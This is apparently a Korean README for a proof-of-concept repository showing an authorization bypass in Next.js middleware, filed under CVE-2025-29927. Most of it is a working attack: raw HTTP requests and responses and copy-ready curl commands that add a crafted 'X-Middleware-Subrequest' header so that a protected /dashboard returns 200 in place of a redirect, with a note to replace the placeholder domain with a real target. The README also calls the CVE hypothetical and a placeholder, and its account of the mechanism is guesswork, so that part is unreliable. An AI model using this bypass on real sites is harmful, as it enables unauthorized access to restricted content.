
Next.js 미들웨어의 인가 우회
이 저장소는 웹 애플리케이션의 미들웨어 처리 결함을 시연하는 가상의 취약점인 CVE-2025-29927에 대한 개념 증명(PoC)을 포함합니다. 이 PoC는 특수하게 조작된 HTTP 요청이 리다이렉션 로직을 우회하여 대시보드와 같은 제한된 콘텐츠에 접근할 수 있는 방법을 보여줍니다. 이 프로젝트는 교육 및 보안 연구 목적으로만 설계되었습니다.
고지 사항: 이 PoC는 명시적 허가를 받은 통제된 환경에서만 사용하도록 만들어졌습니다. 소유하지 않았거나 테스트 동의를 받지 않은 시스템에 대한 무단 테스트는 불법적이고 비윤리적입니다.
이 PoC를 따라 하려면 다음이 필요합니다:
abc.com) (구체적인 소프트웨어/버전은 CVE 세부 정보에 따라 추후 결정)curl(curl.se), Burp Suite(portswigger.net/burp) 또는 사용자 지정 스크립트와 같은 HTTP 클라이언트 도구CVE-2025-29927(자리 표시자; 공식 CVE 세부 정보가 제공되면 교체)은 미들웨어 잘못된 구성 또는 로직 결함을 악용하는 것으로 보입니다. 이 PoC는 사용자 지정 헤더(X-Middleware-Subrequest)를 추가하면 서버의 동작이 변경되어 리다이렉션 메커니즘을 우회하고 제한된 콘텐츠에 접근할 수 있음을 보여줍니다. 이는 미들웨어(예: Next.js와 함께 사용되는 Nginx)가 하위 요청을 처리하거나 헤더를 검증하는 방식과 관련이 있을 가능성이 높습니다.
미들웨어 취약점에 대한 자세한 내용은 OWASP 미들웨어 보안을 참조하세요.
PoC는 두 단계로 구성됩니다: 실패하는 초기 요청과 성공하는 수정된 요청입니다. 각 단계에는 HTTP 요청, 응답 및 자세한 설명이 포함됩니다.
이 단계는 추가 헤더 없이 /dashboard 엔드포인트에 접근할 때의 기본 서버 동작을 보여줍니다.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: 대시보드 엔드포인트에 접근을 시도합니다.User-Agent 및 Accept와 같은 표준 헤더는 일반적인 브라우저 요청을 모방합니다.307 Temporary Redirect: 서버가 클라이언트를 리디렉션함을 나타냅니다. 인증, 권한 부여 또는 라우팅 로직(예: 로그인 페이지로 리디렉션) 때문일 가능성이 높습니다.Server: nginx/1.14.1: 웹 서버 소프트웨어를 식별합니다./dashboard에 대한 직접 접근을 차단하는 보호 메커니즘이 있음을 시사합니다. 이 응답에 Location 헤더가 없다는 것은(간결함을 위해 생략되었을 수 있음) 리디렉션 대상이 다른 곳에 있음을 의미합니다.이 단계에서는 리디렉션을 우회하기 위해 사용자 지정 헤더를 추가하여 대시보드 콘텐츠를 성공적으로 가져옵니다.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: 원래 요청에 추가된 사용자 지정 헤더입니다. 반복되는 middleware 문자열은 미들웨어 스택의 구문 분석 또는 검증 결함을 악용할 수 있습니다.200 OK: 대시보드 콘텐츠에 대한 접근이 성공했음을 확인합니다.Content-Type: text/html; charset=utf-8: HTML 응답임을 나타내며, 대시보드 페이지일 가능성이 높습니다.X-Powered-By: Next.js: 애플리케이션이 라우팅을 위해 미들웨어에 의존하는 React 프레임워크인 Next.js를 사용함을 시사합니다.Cache-Control: 캐싱을 방지하며, 동적이고 사용자별 콘텐츠에서 일반적으로 나타납니다.Content-Length: 30174: 응답 본문의 크기(바이트)입니다.X-Middleware-Subrequest 헤더는 미들웨어가 요청을 합법적인 하위 요청으로 처리하도록 속여 리디렉션 로직을 우회할 가능성이 높습니다. 이는 하위 요청이 검증되거나 처리되는 방식의 취약점을 나타낼 수 있습니다.다음 단계에 따라 curl을 사용하여 PoC를 재현하세요:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
예상 출력: 307 Temporary Redirect 응답.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
예상 출력: 대시보드 콘텐츠가 포함된 200 OK 응답.
참고: 승인된 환경에서 테스트하는 경우 abc.com을 실제 대상 도메인으로 교체하세요.
curl을 사용하는 방법 안내.이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.